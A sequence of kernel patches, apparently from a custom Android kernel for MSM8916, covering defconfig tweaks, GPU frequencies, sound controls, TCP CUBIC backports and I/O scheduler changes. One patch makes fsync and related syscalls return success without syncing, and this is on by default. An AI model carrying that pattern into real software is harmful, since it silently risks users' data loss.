#include #include @@ -17,6 +18,9 @@ #include #include "internal.h" +bool fsync_enabled = true; +module_param(fsync_enabled, bool, 0755); + #define VALID_FLAGS (SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE| \ SYNC_FILE_RANGE_WAIT_AFTER) @@ -152,6 +156,9 @@ SYSCALL_DEFINE1(syncfs, int, fd) struct super_block *sb; int ret; + if (!fsync_enabled) + return 0; + if (!f.file) return -EBADF; sb = f.file->f_dentry->d_sb; @@ -177,6 +184,9 @@ SYSCALL_DEFINE1(syncfs, int, fd) */ int vfs_fsync_range(struct file *file, loff_t start, loff_t end, int datasync) { + if (!fsync_enabled) + return 0; + if (!file->f_op || !file->f_op->fsync) return -EINVAL; return file->f_op->fsync(file, start, end, datasync); @@ -193,6 +203,9 @@ EXPORT_SYMBOL(vfs_fsync_range); */ int vfs_fsync(struct file *file, int datasync) { + if (!fsync_enabled) + return 0; + return vfs_fsync_range(file, 0, LLONG_MAX, datasync); } EXPORT_SYMBOL(vfs_fsync); @@ -201,6 +214,9 @@ static int do_fsync(unsigned int fd, int datasync) { struct fd f = fdget(fd); int ret = -EBADF; + + if (!fsync_enabled) + return 0; if (f.file) { ret = vfs_fsync(f.file, datasync); @@ -211,11 +227,17 @@ static int do_fsync(unsigned int fd, int datasync) SYSCALL_DEFINE1(fsync, unsigned int, fd) { + if (!fsync_enabled) + return 0; + return do_fsync(fd, 0); } SYSCALL_DEFINE1(fdatasync, unsigned int, fd) { + if (!fsync_enabled) + return 0; + return do_fsync(fd, 1); } @@ -229,6 +251,9 @@ SYSCALL_DEFINE1(fdatasync, unsigned int, fd) */ int generic_write_sync(struct file *file, loff_t pos, loff_t count) { + if (!fsync_enabled) + return 0; + if (!(file->f_flags & O_DSYNC) && !IS_SYNC(file->f_mapping->host)) return 0; return vfs_fsync_range(file, pos, pos + count - 1, @@ -292,6 +317,9 @@ SYSCALL_DEFINE4(sync_file_range, int, fd, loff_t, offset, loff_t, nbytes, loff_t endbyte; /* inclusive */ umode_t i_mode; + if (!fsync_enabled) + return 0; + ret = -EINVAL; if (flags & ~VALID_FLAGS) goto out; From fbb204df6ced2fd3d0b756123f081ce22bcb57be Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Fri, 2 Dec 2016 11:43:16 +0530 Subject: [PATCH 202/365] fsync: disabled by default --- fs/sync.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/sync.c b/fs/sync.c index 3bffb89a41f36..20007e59628c1 100644 --- a/fs/sync.c +++ b/fs/sync.c @@ -18,7 +18,7 @@ #include #include "internal.h" -bool fsync_enabled = true; +bool fsync_enabled = false; module_param(fsync_enabled, bool, 0755); #define VALID_FLAGS (SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE| \ From 88bf8bb9f735ab0d3f3bb718f20d81d23590d955 Mon Sep 17 00:00:00 2001 From: Sultanxda Date: Tue, 22 Jul 2014 19:34:56 -0700 Subject: [PATCH 203/365] init: Kconfig: Don't force DEBUG_KERNEL --- init/Kconfig | 2 -- 1 file changed, 2 deletions(-) diff --git a/init/Kconfig b/init/Kconfig index 1612fde032d5b..64c57f2da1b20 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1286,8 +1286,6 @@ config PANIC_TIMEOUT menuconfig EXPERT bool "Configure standard kernel features (expert users)" - # Unhide debug options, to make the on-by-default options visible - select DEBUG_KERNEL help This option allows certain base kernel options and settings to be disabled or tweaked. This is for specialized From f307bd075f6148e9ef5f88e704e2ed621af63f15 Mon Sep 17 00:00:00 2001 From: Sultanxda Date: Sun, 10 Jul 2016 12:23:08 -0700 Subject: [PATCH 204/365] trace: Don't force tracing support by default --- kernel/trace/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kernel/trace/Kconfig b/kernel/trace/Kconfig index dec26ecde59a5..4c413bb338546 100644 --- a/kernel/trace/Kconfig +++ b/kernel/trace/Kconfig @@ -153,7 +153,7 @@ config TRACING_SUPPORT # irqflags tracing for your architecture. depends on TRACE_IRQFLAGS_SUPPORT || PPC32 depends on STACKTRACE_SUPPORT - default y + default n if TRACING_SUPPORT From d3d10333d4e6931f235139e8ac25979010077500 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 20:04:12 +0530 Subject: [PATCH 205/365] update defconfig --- arch/arm/configs/zetsubou_defconfig | 38 ++++++++++++++++++++++++----- 1 file changed, 32 insertions(+), 6 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 4227639f36a67..08b35d18fe832 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -261,13 +261,18 @@ CONFIG_IOSCHED_NOOP=y # CONFIG_IOSCHED_TEST is not set CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_ROW=y +CONFIG_IOSCHED_SIO=y +CONFIG_IOSCHED_ZEN=y CONFIG_IOSCHED_CFQ=y CONFIG_IOSCHED_BFQ=y CONFIG_CGROUP_BFQIO=y +CONFIG_IOSCHED_FIOPS=y # CONFIG_DEFAULT_DEADLINE is not set # CONFIG_DEFAULT_ROW is not set +# CONFIG_DEFAULT_SIO is not set # CONFIG_DEFAULT_CFQ is not set # CONFIG_DEFAULT_BFQ is not set +# CONFIG_DEFAULT_FIOPS is not set CONFIG_DEFAULT_NOOP=y CONFIG_DEFAULT_IOSCHED="noop" CONFIG_ASN1=y @@ -469,7 +474,11 @@ CONFIG_ARCH_NR_GPIO=0 # CONFIG_PREEMPT_VOLUNTARY is not set CONFIG_PREEMPT=y CONFIG_PREEMPT_COUNT=y -CONFIG_HZ=100 +# CONFIG_HZ_100 is not set +# CONFIG_HZ_250 is not set +CONFIG_HZ_300=y +# CONFIG_HZ_1000 is not set +CONFIG_HZ=300 CONFIG_SCHED_HRTICK=y # CONFIG_THUMB2_KERNEL is not set CONFIG_AEABI=y @@ -555,7 +564,7 @@ CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_DEFAULT_GOV_INTERACTIVE is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y CONFIG_CPU_FREQ_GOV_POWERSAVE=y -CONFIG_CPU_FREQ_GOV_USERSPACE=y +# CONFIG_CPU_FREQ_GOV_USERSPACE is not set CONFIG_CPU_FREQ_GOV_ONDEMAND=y CONFIG_CPU_FREQ_GOV_INTERACTIVE=y # CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set @@ -669,9 +678,25 @@ CONFIG_INET_DIAG=y CONFIG_INET_TCP_DIAG=y # CONFIG_INET_UDP_DIAG is not set CONFIG_INET_DIAG_DESTROY=y -# CONFIG_TCP_CONG_ADVANCED is not set +CONFIG_TCP_CONG_ADVANCED=y +CONFIG_TCP_CONG_BIC=y CONFIG_TCP_CONG_CUBIC=y -CONFIG_DEFAULT_TCP_CONG="cubic" +CONFIG_TCP_CONG_WESTWOOD=y +CONFIG_TCP_CONG_HTCP=y +# CONFIG_TCP_CONG_HSTCP is not set +# CONFIG_TCP_CONG_HYBLA is not set +# CONFIG_TCP_CONG_VEGAS is not set +# CONFIG_TCP_CONG_SCALABLE is not set +# CONFIG_TCP_CONG_LP is not set +# CONFIG_TCP_CONG_VENO is not set +# CONFIG_TCP_CONG_YEAH is not set +# CONFIG_TCP_CONG_ILLINOIS is not set +# CONFIG_DEFAULT_BIC is not set +# CONFIG_DEFAULT_CUBIC is not set +# CONFIG_DEFAULT_HTCP is not set +CONFIG_DEFAULT_WESTWOOD=y +# CONFIG_DEFAULT_RENO is not set +CONFIG_DEFAULT_TCP_CONG="westwood" # CONFIG_TCP_MD5SIG is not set CONFIG_IPV6=y CONFIG_IPV6_PRIVACY=y @@ -2441,6 +2466,7 @@ CONFIG_FB_MSM_MDSS_WRITEBACK=y # CONFIG_FB_MSM_MDSS_DSI_CTRL_STATUS is not set # CONFIG_FB_MSM_MDSS_EDP_PANEL is not set # CONFIG_FB_MSM_MDSS_MDP3 is not set +CONFIG_FB_MSM_MDSS_KCAL_CTRL=y # CONFIG_EXYNOS_VIDEO is not set CONFIG_BACKLIGHT_LCD_SUPPORT=y # CONFIG_LCD_CLASS_DEVICE is not set @@ -2518,6 +2544,7 @@ CONFIG_SND_SOC_WCD_CPE=y CONFIG_AUDIO_EXT_CLK=y CONFIG_SND_SOC_WCD_MBHC=y CONFIG_SND_SOC_MSM_STUB=y +CONFIG_SOUND_CONTROL=y # CONFIG_SND_SIMPLE_CARD is not set # CONFIG_SOUND_PRIME is not set @@ -3619,8 +3646,7 @@ CONFIG_CONTEXT_SWITCH_TRACER=y CONFIG_IPC_LOGGING=y CONFIG_TRACING=y CONFIG_GENERIC_TRACER=y -CONFIG_TRACING_SUPPORT=y -# CONFIG_FTRACE is not set +# CONFIG_TRACING_SUPPORT is not set # CONFIG_DYNAMIC_DEBUG is not set # CONFIG_OOPS_LOG_BUFFER is not set # CONFIG_LOG_BUF_MAGIC is not set From 3ade59c36b4e69fcfd6e6931a7e75c246e39ca27 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 20:20:52 +0530 Subject: [PATCH 206/365] anykernel: set proper GPU frequencies --- AnyKernel2/ramdisk/init.zetsubou.rc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/AnyKernel2/ramdisk/init.zetsubou.rc b/AnyKernel2/ramdisk/init.zetsubou.rc index a593b535ffb17..b83c0ef3aaef3 100644 --- a/AnyKernel2/ramdisk/init.zetsubou.rc +++ b/AnyKernel2/ramdisk/init.zetsubou.rc @@ -14,7 +14,8 @@ on property:sys.boot_completed=1 write /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 1209600 # set stock GPU frequency - write /sys/class/kgsl/kgsl-3d0/devfreq/max_freq 310000000 + write /sys/class/kgsl/kgsl-3d0/devfreq/max_freq 465000000 + write /sys/class/kgsl/kgsl-3d0/devfreq/min_freq 100000000 # enable laptop mode write /proc/sys/vm/laptop_mode 1 From fb6eaa8bd9779df2ba3776d803f9d8900dd1ec57 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 20:30:35 +0530 Subject: [PATCH 207/365] msm8916-gpu: set initial gpu frequency to 200MHz --- arch/arm/boot/dts/qcom/msm8916-gpu.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi index 2a38c1aef8fe6..9c2a59d58922f 100644 --- a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi @@ -27,7 +27,7 @@ qcom,chipid = <0x03000600>; - qcom,initial-pwrlevel = <3>; + qcom,initial-pwrlevel = <4>; /* Idle Timeout = msec */ qcom,idle-timeout = <80>; From 49db95504a4c52703252da01a1925da5bf24cffe Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Thu, 15 Dec 2016 10:54:21 +0530 Subject: [PATCH 208/365] build script: switch to my toolchain --- build.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build.sh b/build.sh index 031b0c5541a45..2c8edbb6854dc 100755 --- a/build.sh +++ b/build.sh @@ -27,7 +27,7 @@ yellow='\033[0;33m' red='\033[0;31m' nocol='\033[0m' # Modify the following variable if you want to build -export CROSS_COMPILE="/home/saiko94/kernel/arm-eabi-4.9/bin/arm-eabi-" +export CROSS_COMPILE="/home/saiko94/kernel/arm-unknown-linux-gnueabi/bin/arm-unknown-linux-gnueabi-" export ARCH=arm export SUBARCH=arm export KBUILD_BUILD_USER="ashish.m" From 3398028d831b65421dc54b173a1329b8038e2c00 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Thu, 15 Dec 2016 11:04:46 +0530 Subject: [PATCH 209/365] ASoC: sound_control: add speaker gain control --- sound/soc/codecs/msm8x16-wcd.c | 32 +++++++++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index b869bc264b6e5..73e357b4d610d 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -5565,9 +5565,39 @@ static struct kobj_attribute mic_gain_attribute = mic_gain_show, mic_gain_store); +static ssize_t speaker_gain_show(struct kobject *kobj, + struct kobj_attribute *attr, char *buf) +{ + return snprintf(buf, PAGE_SIZE, "%d\n", + snd_soc_read(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX2_VOL_CTL_B2_CTL)); +} + +static ssize_t speaker_gain_store(struct kobject *kobj, + struct kobj_attribute *attr, const char *buf, size_t count) +{ + + int input; + + sscanf(buf, "%d", &input); + + if (input < -10 || input > 20) + input = 0; + + snd_soc_write(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX2_VOL_CTL_B2_CTL, input); + snd_soc_write(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX1_VOL_CTL_B2_CTL, input); + + return count; +} + +static struct kobj_attribute speaker_gain_attribute = + __ATTR(speaker_gain, 0664, + speaker_gain_show, + speaker_gain_store); + static struct attribute *sound_control_attrs[] = { &headphone_gain_attribute.attr, - &mic_gain_attribute.attr, + &mic_gain_attribute.attr, + &speaker_gain_attribute.attr, NULL, }; From 8c1bd57f7c5893219fab3da5ad816f963abbd3c7 Mon Sep 17 00:00:00 2001 From: Eric Dumazet Date: Wed, 9 Sep 2015 21:55:07 -0700 Subject: [PATCH 210/365] tcp_cubic: better follow cubic curve after idle period Jana Iyengar found an interesting issue on CUBIC : The epoch is only updated/reset initially and when experiencing losses. The delta "t" of now - epoch_start can be arbitrary large after app idle as well as the bic_target. Consequentially the slope (inverse of ca->cnt) would be really large, and eventually ca->cnt would be lower-bounded in the end to 2 to have delayed-ACK slow-start behavior. This particularly shows up when slow_start_after_idle is disabled as a dangerous cwnd inflation (1.5 x RTT) after few seconds of idle time. Jana initial fix was to reset epoch_start if app limited, but Neal pointed out it would ask the CUBIC algorithm to recalculate the curve so that we again start growing steeply upward from where cwnd is now (as CUBIC does just after a loss). Ideally we'd want the cwnd growth curve to be the same shape, just shifted later in time by the amount of the idle period. Reported-by: Jana Iyengar Signed-off-by: Eric Dumazet Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Cc: Stephen Hemminger Cc: Sangtae Ha Cc: Lawrence Brakmo Signed-off-by: David S. Miller Signed-off-by: Pranav Vashi --- net/ipv4/tcp_cubic.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/net/ipv4/tcp_cubic.c b/net/ipv4/tcp_cubic.c index 894b7cea5d7b5..f046d159074e9 100644 --- a/net/ipv4/tcp_cubic.c +++ b/net/ipv4/tcp_cubic.c @@ -153,6 +153,21 @@ static void bictcp_init(struct sock *sk) tcp_sk(sk)->snd_ssthresh = initial_ssthresh; } +static void bictcp_cwnd_event(struct sock *sk, enum tcp_ca_event event) +{ + if (event == CA_EVENT_TX_START) { + s32 delta = tcp_time_stamp - tcp_sk(sk)->lsndtime; + struct bictcp *ca = inet_csk_ca(sk); + + /* We were application limited (idle) for a while. + * Shift epoch_start to keep cwnd growth to cubic curve. + */ + if (ca->epoch_start && delta > 0) + ca->epoch_start += delta; + return; + } +} + /* calculate the cubic root of x using a table lookup followed by one * Newton-Raphson iteration. * Avg err ~= 0.195% @@ -439,6 +454,7 @@ static struct tcp_congestion_ops cubictcp __read_mostly = { .cong_avoid = bictcp_cong_avoid, .set_state = bictcp_state, .undo_cwnd = bictcp_undo_cwnd, + .cwnd_event = bictcp_cwnd_event, .pkts_acked = bictcp_acked, .owner = THIS_MODULE, .name = "cubic", From 4f71797c49a6da31270e424dafac8116824c3395 Mon Sep 17 00:00:00 2001 From: Eric Dumazet Date: Thu, 17 Sep 2015 08:38:00 -0700 Subject: [PATCH 211/365] tcp_cubic: do not set epoch_start in the future Tracking idle time in bictcp_cwnd_event() is imprecise, as epoch_start is normally set at ACK processing time, not at send time. Doing a proper fix would need to add an additional state variable, and does not seem worth the trouble, given CUBIC bug has been there forever before Jana noticed it. Let's simply not set epoch_start in the future, otherwise bictcp_update() could overflow and CUBIC would again grow cwnd too fast. This was detected thanks to a packetdrill test Neal wrote that was flaky before applying this fix. Fixes: 30927520dbae ("tcp_cubic: better follow cubic curve after idle period") Signed-off-by: Eric Dumazet Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Cc: Jana Iyengar Signed-off-by: David S. Miller Signed-off-by: Pranav Vashi --- net/ipv4/tcp_cubic.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/net/ipv4/tcp_cubic.c b/net/ipv4/tcp_cubic.c index f046d159074e9..872b3a07d1548 100644 --- a/net/ipv4/tcp_cubic.c +++ b/net/ipv4/tcp_cubic.c @@ -156,14 +156,20 @@ static void bictcp_init(struct sock *sk) static void bictcp_cwnd_event(struct sock *sk, enum tcp_ca_event event) { if (event == CA_EVENT_TX_START) { - s32 delta = tcp_time_stamp - tcp_sk(sk)->lsndtime; struct bictcp *ca = inet_csk_ca(sk); + u32 now = tcp_time_stamp; + s32 delta; + + delta = now - tcp_sk(sk)->lsndtime; /* We were application limited (idle) for a while. * Shift epoch_start to keep cwnd growth to cubic curve. */ - if (ca->epoch_start && delta > 0) + if (ca->epoch_start && delta > 0) { ca->epoch_start += delta; + if (after(ca->epoch_start, now)) + ca->epoch_start = now; + } return; } } From 8210d1a53bcec3b5aa853e58ebde9d7c168431b6 Mon Sep 17 00:00:00 2001 From: Neal Cardwell Date: Wed, 28 Jan 2015 20:01:39 -0500 Subject: [PATCH 212/365] tcp: fix timing issue in CUBIC slope calculation This patch fixes a bug in CUBIC that causes cwnd to increase slightly too slowly when multiple ACKs arrive in the same jiffy. If cwnd is supposed to increase at a rate of more than once per jiffy, then CUBIC was sometimes too slow. Because the bic_target is calculated for a future point in time, calculated with time in jiffies, the cwnd can increase over the course of the jiffy while the bic_target calculated as the proper CUBIC cwnd at time t=tcp_time_stamp+rtt does not increase, because tcp_time_stamp only increases on jiffy tick boundaries. So since the cnt is set to: ca->cnt = cwnd / (bic_target - cwnd); as cwnd increases but bic_target does not increase due to jiffy granularity, the cnt becomes too large, causing cwnd to increase too slowly. For example: - suppose at the beginning of a jiffy, cwnd=40, bic_target=44 - so CUBIC sets: ca->cnt = cwnd / (bic_target - cwnd) = 40 / (44 - 40) = 40/4 = 10 - suppose we get 10 acks, each for 1 segment, so tcp_cong_avoid_ai() increases cwnd to 41 - so CUBIC sets: ca->cnt = cwnd / (bic_target - cwnd) = 41 / (44 - 41) = 41 / 3 = 13 So now CUBIC will wait for 13 packets to be ACKed before increasing cwnd to 42, insted of 10 as it should. The fix is to avoid adjusting the slope (determined by ca->cnt) multiple times within a jiffy, and instead skip to compute the Reno cwnd, the "TCP friendliness" code path. Reported-by: Eyal Perry Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Pranav Vashi --- net/ipv4/tcp_cubic.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/net/ipv4/tcp_cubic.c b/net/ipv4/tcp_cubic.c index 872b3a07d1548..47ae7f817f4e4 100644 --- a/net/ipv4/tcp_cubic.c +++ b/net/ipv4/tcp_cubic.c @@ -236,6 +236,13 @@ static inline void bictcp_update(struct bictcp *ca, u32 cwnd) (s32)(tcp_time_stamp - ca->last_time) <= HZ / 32) return; + /* The CUBIC function can update ca->cnt at most once per jiffy. + * On all cwnd reduction events, ca->epoch_start is set to 0, + * which will force a recalculation of ca->cnt. + */ + if (ca->epoch_start && tcp_time_stamp == ca->last_time) + goto tcp_friendliness; + ca->last_cwnd = cwnd; ca->last_time = tcp_time_stamp; @@ -303,6 +310,7 @@ static inline void bictcp_update(struct bictcp *ca, u32 cwnd) if (ca->last_max_cwnd == 0 && ca->cnt > 20) ca->cnt = 20; /* increase cwnd 5% per RTT */ +tcp_friendliness: /* TCP Friendly */ if (tcp_friendliness) { u32 scale = beta_scale; From 22c4f7fa888e0b817dad9bafad697a106d51f269 Mon Sep 17 00:00:00 2001 From: Yuchung Cheng Date: Thu, 31 Oct 2013 09:19:32 -0700 Subject: [PATCH 213/365] tcp: enable sockets to use MSG_FASTOPEN by default Applications have started to use Fast Open (e.g., Chrome browser has such an optional flag) and the feature has gone through several generations of kernels since 3.7 with many real network tests. It's time to enable this flag by default for applications to test more conveniently and extensively. Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Acked-by: Eric Dumazet Signed-off-by: David S. Miller --- Documentation/networking/ip-sysctl.txt | 4 ++-- net/ipv4/tcp_fastopen.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Documentation/networking/ip-sysctl.txt b/Documentation/networking/ip-sysctl.txt index c1db21030e504..156e3862e25e5 100644 --- a/Documentation/networking/ip-sysctl.txt +++ b/Documentation/networking/ip-sysctl.txt @@ -456,7 +456,7 @@ tcp_fastopen - INTEGER connect() to perform a TCP handshake automatically. The values (bitmap) are - 1: Enables sending data in the opening SYN on the client. + 1: Enables sending data in the opening SYN on the client w/ MSG_FASTOPEN. 2: Enables TCP Fast Open on the server side, i.e., allowing data in a SYN packet to be accepted and passed to the application before 3-way hand shake finishes. @@ -469,7 +469,7 @@ tcp_fastopen - INTEGER different ways of setting max_qlen without the TCP_FASTOPEN socket option. - Default: 0 + Default: 1 Note that the client & server side Fast Open flags (1 and 2 respectively) must be also enabled before the rest of flags can take diff --git a/net/ipv4/tcp_fastopen.c b/net/ipv4/tcp_fastopen.c index 8f7ef0ad80e5b..bbcfb634c7828 100644 --- a/net/ipv4/tcp_fastopen.c +++ b/net/ipv4/tcp_fastopen.c @@ -8,7 +8,7 @@ #include #include -int sysctl_tcp_fastopen __read_mostly; +int sysctl_tcp_fastopen __read_mostly = TFO_CLIENT_ENABLE; struct tcp_fastopen_context __rcu *tcp_fastopen_ctx; From 5b7842b46da0dd4a049d22c164c5a06a0c2c2857 Mon Sep 17 00:00:00 2001 From: myfluxi Date: Wed, 8 Jan 2014 01:25:14 +0100 Subject: [PATCH 214/365] devfreq: Use high priority workqueue It does not make sense to run kgsl on high and devfreq on regular priority. Signed-off-by: Pranav Vashi --- drivers/devfreq/devfreq.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/drivers/devfreq/devfreq.c b/drivers/devfreq/devfreq.c index 32713799d57c8..e4d525b3a6dc3 100644 --- a/drivers/devfreq/devfreq.c +++ b/drivers/devfreq/devfreq.c @@ -1005,7 +1005,10 @@ static int __init devfreq_init(void) return PTR_ERR(devfreq_class); } - devfreq_wq = create_freezable_workqueue("devfreq_wq"); + devfreq_wq = + alloc_workqueue("devfreq_wq", + WQ_HIGHPRI | WQ_UNBOUND | WQ_FREEZABLE | + WQ_MEM_RECLAIM, 0); if (IS_ERR(devfreq_wq)) { class_destroy(devfreq_class); pr_err("%s: couldn't create workqueue\n", __FILE__); From 5337f1ea3a23f062bbf75d2a696d6b38fd73edb3 Mon Sep 17 00:00:00 2001 From: myfluxi Date: Wed, 1 Jan 2014 11:31:16 +0100 Subject: [PATCH 215/365] msm: kgsl: Report correct GPU frequency in sysfs Signed-off-by: Pranav Vashi --- drivers/gpu/msm/kgsl_pwrctrl.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/drivers/gpu/msm/kgsl_pwrctrl.c b/drivers/gpu/msm/kgsl_pwrctrl.c index 2018eedd68be9..90c1857f183f4 100644 --- a/drivers/gpu/msm/kgsl_pwrctrl.c +++ b/drivers/gpu/msm/kgsl_pwrctrl.c @@ -617,12 +617,19 @@ static ssize_t kgsl_pwrctrl_gpuclk_show(struct device *dev, struct device_attribute *attr, char *buf) { + unsigned long freq; struct kgsl_device *device = kgsl_device_from_dev(dev); struct kgsl_pwrctrl *pwr; if (device == NULL) return 0; pwr = &device->pwrctrl; - return snprintf(buf, PAGE_SIZE, "%ld\n", kgsl_pwrctrl_active_freq(pwr)); + + if (device->state == KGSL_STATE_SLUMBER) + freq = pwr->pwrlevels[pwr->num_pwrlevels - 1].gpu_freq; + else + freq = kgsl_pwrctrl_active_freq(pwr); + + return snprintf(buf, PAGE_SIZE, "%lu\n", freq); } static ssize_t kgsl_pwrctrl_idle_timer_store(struct device *dev, From 98a9c713268dab461a4c0181fa305904044d80f9 Mon Sep 17 00:00:00 2001 From: myfluxi Date: Sun, 9 Feb 2014 21:33:28 +0100 Subject: [PATCH 216/365] PM: devfreq: Fix simple_ondemand crashing on startup simple_ondemands private data must be set to NULL, otherwise we would run into a NULL pointer in kgsl_devfreq_get_dev_status(). Change-Id: I6cc6a8b11e3b58b8c3e3c26d43ee36949cf62351 --- drivers/devfreq/governor_simpleondemand.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/drivers/devfreq/governor_simpleondemand.c b/drivers/devfreq/governor_simpleondemand.c index d37997da89b19..6ae9f86523b2b 100644 --- a/drivers/devfreq/governor_simpleondemand.c +++ b/drivers/devfreq/governor_simpleondemand.c @@ -23,7 +23,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, u32 *flag) { struct devfreq_dev_status stat; - int err = df->profile->get_dev_status(df->dev.parent, &stat); + int err; unsigned long long a, b; unsigned int dfso_upthreshold = DFSO_UPTHRESHOLD; unsigned int dfso_downdifferential = DFSO_DOWNDIFFERENCTIAL; @@ -31,6 +31,9 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, unsigned long max = (df->max_freq) ? df->max_freq : UINT_MAX; unsigned long min = (df->min_freq) ? df->min_freq : 0; + stat.private_data = NULL; + + err = df->profile->get_dev_status(df->dev.parent, &stat); if (err) return err; From dfd0786dadb04326c42e48dc558c0553ac60c0e8 Mon Sep 17 00:00:00 2001 From: myfluxi Date: Tue, 24 Dec 2013 16:32:34 +0100 Subject: [PATCH 217/365] PM: devfreq: Always reflect a change of polling interval Change-Id: Ie895bdf1ed1126e05483890f7ed64ac05890710a --- drivers/devfreq/devfreq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/devfreq/devfreq.c b/drivers/devfreq/devfreq.c index e4d525b3a6dc3..73efab6df6133 100644 --- a/drivers/devfreq/devfreq.c +++ b/drivers/devfreq/devfreq.c @@ -349,7 +349,6 @@ void devfreq_interval_update(struct devfreq *devfreq, unsigned int *delay) unsigned int new_delay = *delay; mutex_lock(&devfreq->lock); - devfreq->profile->polling_ms = new_delay; if (devfreq->stop_polling) goto out; @@ -832,6 +831,7 @@ static ssize_t store_polling_interval(struct device *dev, if (ret != 1) return -EINVAL; + df->profile->polling_ms = value; df->governor->event_handler(df, DEVFREQ_GOV_INTERVAL, &value); ret = count; From dbf19245886e370010fdef60fd6af8d202f5eb02 Mon Sep 17 00:00:00 2001 From: Tahsin Erdogan Date: Tue, 19 May 2015 13:55:21 -0700 Subject: [PATCH 218/365] block: Make CFQ default to IOPS mode on SSDs CFQ idling causes reduced IOPS throughput on non-rotational disks. Since disk head seeking is not applicable to SSDs, it doesn't really help performance by anticipating future near-by IO requests. By turning off idling (and switching to IOPS mode), we allow other processes to dispatch IO requests down to the driver and so increase IO throughput. Following FIO benchmark results were taken on a cloud SSD offering with idling on and off: Idling iops avg-lat(ms) stddev bw ------------------------------------------------------ On 7054 90.107 38.697 28217KB/s Off 29255 21.836 11.730 117022KB/s fio --name=temp --size=100G --time_based --ioengine=libaio \ --randrepeat=0 --direct=1 --invalidate=1 --verify=0 \ --verify_fatal=0 --rw=randread --blocksize=4k --group_reporting=1 \ --filename=/dev/sdb --runtime=10 --iodepth=64 --numjobs=10 And the following is from a local SSD run: Idling iops avg-lat(ms) stddev bw ------------------------------------------------------ On 19320 33.043 14.068 77281KB/s Off 21626 29.465 12.662 86507KB/s fio --name=temp --size=5G --time_based --ioengine=libaio \ --randrepeat=0 --direct=1 --invalidate=1 --verify=0 \ --verify_fatal=0 --rw=randread --blocksize=4k --group_reporting=1 \ --filename=/fio_data --runtime=10 --iodepth=64 --numjobs=10 Reviewed-by: Nauman Rafique Signed-off-by: Tahsin Erdogan Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index 61dd991213bde..30264ebee9f18 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -4448,7 +4448,7 @@ static int cfq_init_queue(struct request_queue *q, struct elevator_type *e) cfqd->cfq_slice[1] = cfq_slice_sync; cfqd->cfq_target_latency = cfq_target_latency; cfqd->cfq_slice_async_rq = cfq_slice_async_rq; - cfqd->cfq_slice_idle = cfq_slice_idle; + cfqd->cfq_slice_idle = blk_queue_nonrot(q) ? 0 : cfq_slice_idle; cfqd->cfq_group_idle = cfq_group_idle; cfqd->cfq_latency = 1; cfqd->hw_tag = -1; From 7eab5ff286d99019d4a63a15e8babbd80ad550df Mon Sep 17 00:00:00 2001 From: Jens Axboe Date: Wed, 10 Jun 2015 08:01:20 -0600 Subject: [PATCH 219/365] cfq-iosched: fix the setting of IOPS mode on SSDs A previous commit wanted to make CFQ default to IOPS mode on non-rotational storage, however it did so when the queue was initialized and the non-rotational flag is only set later on in the probe. Add an elevator hook that gets called off the add_disk() path, at that point we know that feature probing has finished, and we can reliably check for the various flags that drivers can set. Fixes: 41c0126b ("block: Make CFQ default to IOPS mode on SSDs") Tested-by: Romain Francoise 